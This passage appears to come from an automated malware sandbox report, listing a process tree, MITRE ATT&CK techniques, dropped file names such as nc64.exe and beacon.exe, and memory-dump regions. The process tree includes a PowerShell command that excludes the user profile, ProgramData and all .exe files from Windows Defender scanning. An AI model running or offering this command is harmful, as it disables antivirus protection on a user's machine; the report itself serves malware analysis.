C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵
-
C:\ProgramData\xcfonrchdkar\vueqjgslwynd.exeC:\ProgramData\xcfonrchdkar\vueqjgslwynd.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 176 -p 5644 -ip 56441⤵
-
C:\Windows\windefender.exeC:\Windows\windefender.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 4152 -ip 41521⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Privilege Escalation
Create or Modify System Process
3Windows Service
3Scheduled Task/Job
1Defense Evasion
Impair Defenses
2Disable or Modify System Firewall
1Virtualization/Sandbox Evasion
2Replay Monitor
Loading Replay Monitor...
Downloads
Are.docx
freebl3.dll
mozglue.dll
mozglue.dll
msvcp140.dll
nss3.dll
cruisemailer.exe
libbz2-1.dll
libgcc_s_dw2-1.dll
libogg-0.dll
libvorbis-0.dll
libwinpthread-1.dll
settings.dat
settings.dat
the-real-index
Network Persistent State
Preferences
Preferences
CURRENT
Local State
Local State
288c47bbc1871b439df19ff4df68f076.exe
288c47bbc1871b439df19ff4df68f076.exe
288c47bbc1871b439df19ff4df68f076.exe
288c47bbc1871b439df19ff4df68f076.exe
288c47bbc1871b439df19ff4df68f076.exe
288c47bbc1871b439df19ff4df68f076.exe
Vertex_Craze_20240225061753481.exe
FourthX.exe
FourthX.exe
FourthX.exe
InstallSetup_four.exe
__PSScriptPolicyTest_s3ygyeb1.zkf.ps1
1.exe
288c47bbc1871b439df19ff4df68f07666.exe
288c47bbc1871b439df19ff4df68f07666.exe
288c47bbc1871b439df19ff4df68f07666.exe
Rar.exe
Vertex_Craze_20240225061753481.exe
beacon.exe
goldpromedffdg.exe
installer.exe
installer.exe
installer.exe
juditttt.exe
june.exe
low.exe
may.exe
may.exe
momsstiflersdgjboigfnbio.exe
nc64.exe
new.exe
new.exe
new.exe
p.exe
pef.exe
poolsdnkjfdbndklsnfgb.exe
random.exe
s1.exe
test.exe
tg.exe
timeSync.exe
timeSync.exe
tupak.exe
win.exe
june.tmp
may.tmp
may.tmp
_iscrypt.dll
_shfoldr.dll
Test.runtimeconfig.json
Test.runtimeconfig.json
Test.runtimeconfig.json
netcorecheck_x64.exe
netcorecheck_x64.exe
installer.tmp
tmp1EFE.tmp
tmp1F23.tmp
tmp1F9C.tmp
tmp1FA2.tmp
tmp1FA8.tmp
tmp1FC4.tmp
u4mw.0.exe
u4mw.1.exe
u4mw.1.exe
Task.bat
powershell.exe.log
StartupProfileData-Interactive
StartupProfileData-Interactive
directx.sys
directx.sys
directx.sys
directx.sys
directx.sys
memory/556-472-0x0000000000400000-0x00000000004D8000-memory.dmp
memory/556-480-0x0000000000400000-0x00000000004D8000-memory.dmp
memory/624-75-0x0000000000220000-0x00000000007B6000-memory.dmp
memory/624-85-0x0000000000220000-0x00000000007B6000-memory.dmp
memory/624-81-0x0000000000220000-0x00000000007B6000-memory.dmp
memory/624-183-0x0000000000220000-0x00000000007B6000-memory.dmp
memory/624-423-0x0000000000220000-0x00000000007B6000-memory.dmp
memory/848-61-0x000000001B440000-0x000000001B450000-memory.dmp
memory/848-1-0x00007FF87C590000-0x00007FF87D051000-memory.dmp
memory/848-60-0x00007FF87C590000-0x00007FF87D051000-memory.dmp
memory/848-2-0x000000001B440000-0x000000001B450000-memory.dmp
memory/848-0-0x00000000008B0000-0x00000000008B8000-memory.dmp
memory/1080-108-0x0000000002020000-0x0000000002021000-memory.dmp
memory/1080-111-0x0000000002070000-0x0000000002071000-memory.dmp
memory/1080-94-0x0000000000CD0000-0x00000000019B1000-memory.dmp
memory/1080-109-0x0000000002030000-0x0000000002031000-memory.dmp
memory/1080-187-0x0000000000CD0000-0x00000000019B1000-memory.dmp
memory/1080-114-0x0000000003A30000-0x0000000003A31000-memory.dmp
memory/1080-110-0x0000000002060000-0x0000000002061000-memory.dmp
memory/1080-112-0x0000000003A20000-0x0000000003A21000-memory.dmp
memory/1080-113-0x0000000000CD0000-0x00000000019B1000-memory.dmp
memory/1812-59-0x0000000000400000-0x00000000005A2000-memory.dmp
memory/1812-80-0x0000000000400000-0x00000000005A2000-memory.dmp
memory/1812-84-0x0000000000400000-0x00000000005A2000-memory.dmp
memory/1812-79-0x0000000000400000-0x00000000005A2000-memory.dmp
memory/1812-64-0x0000000000400000-0x00000000005A2000-memory.dmp
memory/1812-568-0x00000000007B0000-0x0000000000853000-memory.dmp
memory/1812-182-0x0000000000400000-0x00000000005A2000-memory.dmp
memory/1812-411-0x0000000000400000-0x00000000005A2000-memory.dmp
memory/1884-502-0x0000000000A00000-0x0000000000A01000-memory.dmp
memory/1932-56-0x0000000000400000-0x00000000005A2000-memory.dmp
memory/1932-55-0x0000000000400000-0x00000000005A2000-memory.dmp
memory/1932-52-0x0000000000400000-0x00000000005A2000-memory.dmp
memory/1932-51-0x0000000000400000-0x00000000005A2000-memory.dmp
memory/2756-62-0x0000000000400000-0x0000000000414000-memory.dmp
memory/2756-16-0x0000000000400000-0x0000000000414000-memory.dmp
memory/2756-14-0x0000000000400000-0x0000000000414000-memory.dmp
memory/2764-177-0x0000000005720000-0x000000000575C000-memory.dmp
memory/2764-188-0x0000000007070000-0x00000000070E6000-memory.dmp
memory/2764-191-0x0000000007290000-0x00000000072AE000-memory.dmp
memory/2764-180-0x0000000005760000-0x00000000057AC000-memory.dmp
memory/2764-190-0x0000000007E90000-0x0000000008434000-memory.dmp
memory/2764-173-0x0000000000E40000-0x0000000000E5E000-memory.dmp
memory/2764-189-0x00000000071D0000-0x0000000007262000-memory.dmp
memory/2764-516-0x0000000005810000-0x0000000005820000-memory.dmp
memory/2764-174-0x0000000072F30000-0x00000000736E0000-memory.dmp
memory/2764-175-0x0000000005E40000-0x0000000006458000-memory.dmp
memory/2764-176-0x00000000056C0000-0x00000000056D2000-memory.dmp
memory/2764-179-0x0000000005810000-0x0000000005820000-memory.dmp
memory/2764-186-0x0000000006E80000-0x0000000006EE6000-memory.dmp
memory/2764-507-0x0000000072F30000-0x00000000736E0000-memory.dmp
memory/2764-185-0x00000000073B0000-0x00000000078DC000-memory.dmp
memory/2764-181-0x00000000059D0000-0x0000000005ADA000-memory.dmp
memory/2764-184-0x0000000006CB0000-0x0000000006E72000-memory.dmp
memory/2832-474-0x0000000001D10000-0x0000000001E10000-memory.dmp
memory/2832-496-0x0000000000400000-0x0000000001A2E000-memory.dmp
memory/2832-192-0x0000000061E00000-0x0000000061EF3000-memory.dmp
memory/2832-160-0x0000000000400000-0x0000000001A2E000-memory.dmp
memory/2832-158-0x0000000001D10000-0x0000000001E10000-memory.dmp
memory/2832-401-0x0000000000400000-0x0000000001A2E000-memory.dmp
memory/2832-159-0x0000000001CB0000-0x0000000001CD7000-memory.dmp
memory/2976-63-0x0000000000400000-0x00000000004BC000-memory.dmp
memory/2976-21-0x0000000002340000-0x0000000002341000-memory.dmp
memory/2976-76-0x0000000002340000-0x0000000002341000-memory.dmp
memory/4368-425-0x0000000000660000-0x0000000000661000-memory.dmp
memory/4368-135-0x0000000000660000-0x0000000000661000-memory.dmp
memory/4368-400-0x0000000000400000-0x00000000004BC000-memory.dmp
memory/4828-128-0x0000000000400000-0x0000000000414000-memory.dmp
memory/4828-130-0x0000000000400000-0x0000000000414000-memory.dmp
memory/4828-399-0x0000000000400000-0x0000000000414000-memory.dmp
memory/5124-515-0x0000000000400000-0x0000000000D1C000-memory.dmp
memory/5488-558-0x0000000005E50000-0x0000000005E72000-memory.dmp
memory/5488-549-0x0000000002D20000-0x0000000002D30000-memory.dmp
memory/5488-548-0x0000000072F30000-0x00000000736E0000-memory.dmp
memory/5488-547-0x00000000057F0000-0x0000000005E18000-memory.dmp
memory/5488-543-0x0000000002CB0000-0x0000000002CE6000-memory.dmp
memory/5488-569-0x00000000065F0000-0x000000000660E000-memory.dmp
memory/5488-567-0x0000000006290000-0x00000000065E4000-memory.dmp
memory/5488-565-0x0000000002D20000-0x0000000002D30000-memory.dmp
memory/5488-564-0x0000000006020000-0x0000000006086000-memory.dmp
memory/5644-550-0x0000000001B90000-0x0000000001BB7000-memory.dmp
memory/5644-566-0x0000000001C00000-0x0000000001D00000-memory.dmp
memory/5644-562-0x0000000000400000-0x0000000001A2E000-memory.dmp
memory/5888-427-0x0000000072F30000-0x00000000736E0000-memory.dmp
memory/5888-458-0x0000000072F30000-0x00000000736E0000-memory.dmp
memory/5888-424-0x00000000005D0000-0x0000000000CC4000-memory.dmp
memory/6008-481-0x0000000003A50000-0x0000000003AB7000-memory.dmp
memory/6008-486-0x0000000000400000-0x0000000001F27000-memory.dmp
memory/6008-497-0x0000000002070000-0x0000000002170000-memory.dmp
memory/6064-505-0x0000000002BD0000-0x00000000034BC000-memory.dmp
memory/6064-506-0x00000000027D7000-0x0000000002BCF000-memory.dmp